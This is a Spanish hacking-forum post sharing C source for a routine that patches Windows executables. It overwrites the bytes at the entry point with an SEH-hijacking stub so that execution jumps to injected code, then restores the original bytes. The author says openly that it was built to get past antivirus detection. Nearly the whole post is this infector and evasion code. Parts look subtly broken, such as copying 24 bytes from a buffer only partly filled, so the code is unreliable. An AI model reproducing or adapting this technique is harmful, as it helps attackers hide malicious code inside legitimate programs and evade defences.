Bueno, hice éste código para éste proyecto pero como al final no conseguí quitarme los antivirus la posteo ya que no la utilizaré e igual a alguien le sirve. En vez de cambiar el entry point de un programa cambia los 24 primeros bytes del programa por un código que modifica el seh y provoca una excepción para que salte a dónde queremos, creía que iva a funcionar pero dos av me lo detectan así que supongo que detectan otra cosa :¬¬. És de los primeros códigos que haco en c así que supongo que tendrá partes que se puedan optimizar, agradezco cualquier sugerencia. Aquí el source:

Código: Seleccionar todo

////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://foro.eduhack.es
//Descripcion:
//No cambia el EntryPoint, modifica los 24 primeros bytes a donde
//apunta en EntryPoint por un codigo que salta a donde queremos 
//modificando el seh y provocando una excepcion
//lpFileMaped: Puntero al archivo mapeado en memoria
//NewEP: Direccion a la que queremos redireccionar (raw)
//FreeZone: Dirección espacio libre donde podemos 
//escribir (al final de la sección generalmente)
////////////////////////////////////////////////////////////////
VOID RedirectEP(LPSTR lpFileMaped,DWORD NewEP,DWORD FreeZone)
{
	PIMAGE_DOS_HEADER IDH;
	PIMAGE_NT_HEADERS INTH;
	PIMAGE_SECTION_HEADER ISH;
	BYTE ret=0xC3;
	WORD movdwordptr=0x05C7;

	IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
	INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

	//Devuelve el numero de la sección ejecutable
	DWORD ExecutableSection=GetExecutableSection(lpFileMaped);

	ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*ExecutableSection];
	
	//RvaToOffset devuelve la posición en disco de una dirección virtual
	DWORD rOEP=RvaToOffset(INTH->OptionalHeader.AddressOfEntryPoint,ISH,INTH->FileHeader.NumberOfSections);
	
	DWORD vOEP=INTH->OptionalHeader.AddressOfEntryPoint+INTH->OptionalHeader.ImageBase;

	//Damos permisos de escritura a la sección
	ISH->Characteristics=0xE0000020;

	//Dirección a dónde debemos saltar
	DWORD NEP=ISH->VirtualAddress+(NewEP-ISH->PointerToRawData);
	NEP=NEP+INTH->OptionalHeader.ImageBase;

	//Leemos lo que hay en los 24 primeros bytes a los que apunta el EntryPoint
	LPSTR OrigBytes=(LPSTR)malloc(24);
	CopyMemory(&OrigBytes[0],&lpFileMaped[rOEP],24);

	/*
	Éste codigo en asm salta a 00402000 modificando el seh y provocando una excepcion
	By Shaddy

	push 00402000
	push dword ptr fs:[0]
	mov dword ptr fs:[0],esp
	xor eax,eax
	mov ecx,dword ptr ds:[eax]
	*/

	//Guardamos el codigo de arriba pasado a opcodes
	BYTE push=0x68;
	DWORD Ex1=0x0035FF64;
	DWORD Ex2=0x64000000;
	DWORD Ex3=0x00002589;
	DWORD Ex4=0xC0330000;
	DWORD Ex5=0x9090088B;

	LPSTR ExCode=(LPSTR)malloc(24);
	CopyMemory(&ExCode[0],&Ex1,4);
	CopyMemory(&ExCode[4],&Ex2,4);
	CopyMemory(&ExCode[8],&Ex3,4);
	CopyMemory(&ExCode[12],&Ex4,4);
	CopyMemory(&ExCode[16],&Ex5,4);


	//Reemplazamos los 24 primeros bytes a los que apunta el EntryPoint por un saltoa nuestra direccion
	//usando el seh
	CopyMemory(&lpFileMaped[rOEP],&push,1);   //
	CopyMemory(&lpFileMaped[rOEP+1],&NEP,4);  // push NuestraDireccion
	CopyMemory(&lpFileMaped[rOEP+5],&ExCode[0],24);

	//Ponemos instrucciones en el espacio libre para restaurar los bytes que modificamos
	for(DWORD i=0;i<6;i++)
	{
		CopyMemory(&lpFileMaped[FreeZone],&movdwordptr,2);
		CopyMemory(&lpFileMaped[FreeZone+2],&vOEP,4);
		CopyMemory(&lpFileMaped[FreeZone+6],&OrigBytes[4*i],4);
		FreeZone=FreeZone+10;
		vOEP=vOEP+4;		
	}

	
	vOEP=vOEP-24;

	//Ponemos instrucciones al final de la zona libre para saltar al OEP
	CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-6],&push,1);   //
	CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-5],&vOEP,4);  // push OEP
	CopyMemory(&lpFileMaped[ISH->PointerToRawData+ISH->SizeOfRawData-1],&ret,1);  // ret
}
Responder

Volver a “Fuentes”